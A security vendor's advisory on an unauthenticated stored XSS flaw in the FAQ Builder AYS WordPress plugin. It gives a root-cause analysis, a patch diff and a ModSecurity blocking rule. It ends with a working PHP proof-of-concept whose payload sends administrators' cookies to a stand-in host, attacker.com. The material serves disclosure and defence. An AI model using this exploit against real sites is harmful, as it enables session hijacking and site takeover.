Atomic Edge analysis of CVE-2026-25346:
The FAQ Builder AYS WordPress plugin version 1.8.2 and earlier contains an unauthenticated stored cross-site scripting vulnerability. The vulnerability resides in the plugin’s AJAX handler for deactivating upgrade prompts, allowing attackers to inject malicious scripts that execute in the context of an authenticated administrator’s session. The CVSS score of 7.2 reflects the high impact of stored XSS in a WordPress admin context.
The root cause is insufficient security controls in the `deactivate_plugin_option()` function within `/faq-builder-ays/admin/class-faq-builder-ays-admin.php`. The function directly accessed the `$_REQUEST[‘upgrade_plugin’]` parameter without proper authentication checks, input sanitization, or output escaping. The function also lacked a nonce verification mechanism, making it accessible to unauthenticated users. The vulnerable code path starts when WordPress routes AJAX requests to `admin-ajax.php` with the action parameter set to trigger this function.
Exploitation occurs via a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter targeting the vulnerable function. The attacker sends a malicious payload in the `upgrade_plugin` parameter. Since no authentication or nonce verification exists in version 1.8.2, unauthenticated users can directly call this endpoint. The payload is stored in the WordPress database via the `update_option()` function and later retrieved and rendered without proper output escaping, causing script execution when administrators view plugin settings pages.
The patch in version 1.8.3 adds multiple security layers. It introduces a nonce check via `check_ajax_referer()` using the `faq-builder-ajax-deactivate-plugin-nonce` nonce. The patch adds a capability check with `current_user_can(‘manage_options’)` to restrict access to administrators. It implements input sanitization using `sanitize_text_field()` and database escaping with `esc_sql()`. The patch also adds an `is_user_logged_in()` check before processing the request. These changes collectively prevent unauthenticated access and ensure proper data handling.
Successful exploitation allows attackers to inject arbitrary JavaScript that executes in the WordPress administrator’s context. This enables session hijacking, site defacement, backdoor installation, and privilege escalation. Attackers can create new administrator accounts, modify plugin settings, or redirect users to malicious sites. The stored nature means the payload persists and executes each time an administrator accesses affected pages, creating a persistent threat.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/faq-builder-ays/admin/class-faq-builder-ays-admin.php
+++ b/faq-builder-ays/admin/class-faq-builder-ays-admin.php
@@ -240,15 +240,20 @@
}
public function add_action_links($links){
+
/*
* Documentation : https://codex.wordpress.org/Plugin_API/Filter_Reference/plugin_action_links_(plugin_file_name)
*/
+
+ $faq_ajax_deactivate_plugin_nonce = wp_create_nonce( 'faq-builder-ajax-deactivate-plugin-nonce' );
+
$text = esc_html__('Settings', 'faq-builder-ays');
$settings_link = array(
'<a href="' . admin_url('admin.php?page=' . $this->plugin_name) . '">' . $text . '</a>',
'<a href="https://plugins.ays-demo.com/faq-builder-free-demo/" target="_blank">' . esc_html__('Demo', 'faq-builder-ays') . '</a>',
'<a href="https://ays-pro.com/wordpress/faq-builder/" target="_blank" style="color:#01A32A;font-weight:bold;">' . esc_html__('Upgrade 30% Sale', 'faq-builder-ays') . '</a>',
- );
+ '<input type="hidden" id="ays_faq_ajax_deactivate_plugin_nonce" name="ays_faq_ajax_deactivate_plugin_nonce" value="' . $faq_ajax_deactivate_plugin_nonce .'">',
+ );
return array_merge($settings_link, $links);
}
@@ -443,15 +448,43 @@
}
public function deactivate_plugin_option(){
- $request_value = $_REQUEST['upgrade_plugin'];
- $upgrade_option = get_option('faq_ays_upgrade_plugin','');
- if($upgrade_option === ''){
- add_option('faq_ays_upgrade_plugin',$request_value);
- }else{
- update_option('faq_ays_upgrade_plugin',$request_value);
+
+ // Run a security check.
+ check_ajax_referer( 'faq-builder-ajax-deactivate-plugin-nonce', sanitize_key( $_REQUEST['_ajax_nonce'] ) );
+
+ // Check for permissions.
+ if ( ! current_user_can( 'manage_options' ) ) {
+ ob_end_clean();
+ $ob_get_clean = ob_get_clean();
+ echo json_encode(array(
+ 'option' => ''
+ ));
+ wp_die();
}
- echo json_encode(array('option'=>get_option('faq_ays_upgrade_plugin','')));
- wp_die();
+
+ if( is_user_logged_in() ) {
+ $request_value = esc_sql( sanitize_text_field( $_REQUEST['upgrade_plugin'] ) );
+ $upgrade_option = get_option('faq_ays_upgrade_plugin','');
+ if($upgrade_option === ''){
+ add_option('faq_ays_upgrade_plugin',$request_value);
+ }else{
+ update_option('faq_ays_upgrade_plugin',$request_value);
+ }
+ ob_end_clean();
+ $ob_get_clean = ob_get_clean();
+ echo json_encode(array(
+ 'option' => get_option('faq_ays_upgrade_plugin', '')
+ ));
+ wp_die();
+ } else {
+ ob_end_clean();
+ $ob_get_clean = ob_get_clean();
+ echo json_encode(array(
+ 'option' => ''
+ ));
+ wp_die();
+ }
+
}
public static function ays_get_faq_user_question( $id ) {
--- a/faq-builder-ays/faq-builder-ays.php
+++ b/faq-builder-ays/faq-builder-ays.php
@@ -16,7 +16,7 @@
* Plugin Name: F.A.Q Builder
* Plugin URI: https://ays-pro.com
* Description: FAQ Builder is the best option for creating and displaying frequently asked questions on your website. It allows you to organize and present answers in a clean, accessible format for your visitors.
- * Version: 1.8.2
+ * Version: 1.8.3
* Author: F.A.Q Builder Team
* Author URI: https://ays-pro.com
* License: GPL-2.0+
@@ -51,7 +51,7 @@
* Start at version 1.0.0 and use SemVer - https://semver.org
* Rename this for your plugin and update it as you release new versions.
*/
-define( 'FAQ_VERSION', '1.8.2' );
+define( 'FAQ_VERSION', '1.8.3' );
define( 'AYS_FAQ_NAME', 'faq-builder' );
/**
* The code that runs during plugin activation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25346
# Blocks unauthenticated XSS exploitation attempts against FAQ Builder AYS plugin <= 1.8.2
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:100025346,phase:2,deny,status:403,chain,msg:'CVE-2026-25346: Unauthenticated Stored XSS via FAQ Builder AYS AJAX',severity:'CRITICAL',tag:'CVE-2026-25346',tag:'OWASP_CRS/WEB_ATTACK/XSS',tag:'WordPress',tag:'Plugin/FAQ-Builder-AYS'"
SecRule ARGS_POST:action "@streq deactivate_plugin_option" "chain"
SecRule &ARGS_POST:_ajax_nonce "@eq 0" "chain"
SecRule ARGS_POST:upgrade_plugin "@rx <script[^>]*>" "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25346 - FAQ Builder AYS <= 1.8.2 - Unauthenticated Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
// Malicious JavaScript payload to demonstrate XSS
// This payload creates an alert box and sends cookies to an attacker-controlled server
$xss_payload = '<script>alert("Atomic Edge XSS Test");fetch("https://attacker.com/steal?c="+document.cookie);</script>';
// Prepare POST data for the vulnerable endpoint
$post_data = array(
'action' => 'deactivate_plugin_option', // Triggers the vulnerable function
'upgrade_plugin' => $xss_payload // Unsanitized input in vulnerable version
);
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to mimic legitimate browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept: application/json, text/javascript, */*; q=0.01',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With: XMLHttpRequest'
));
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_errno($ch)) {
echo "cURL Error: " . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
if ($http_code == 200 && strpos($response, 'option') !== false) {
echo "[SUCCESS] XSS payload likely injected. Check the WordPress admin area for script execution.n";
echo "The payload will execute when an administrator views plugin settings.n";
} else {
echo "[FAILED] Injection attempt unsuccessful. The site may be patched or have security measures.n";
}
}
// Close cURL session
curl_close($ch);
?>